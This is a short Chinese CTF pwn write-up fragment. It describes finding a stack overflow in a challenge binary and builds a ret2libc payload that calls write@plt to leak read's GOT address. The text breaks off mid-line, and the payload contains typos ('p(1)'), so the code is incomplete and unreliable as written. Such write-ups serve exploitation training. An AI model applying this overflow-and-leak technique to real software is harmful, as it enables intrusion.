环境:WSL2,ubuntu16.04,python2
checksec文件:
将文件拖入ida
溢出点:
和level3不同的是
read函数之前没有调用write函数,因此要泄露libc的基地址需要用read函数,利用write函数将read函数在got表中的地址泄露出来
payload = (0x88+0x04)*'a'+p32(write_plt)+p32(main_addr)+p(1)+p32(read_got)+p(4)
接受泄露出来的地址
read_addr = u32(io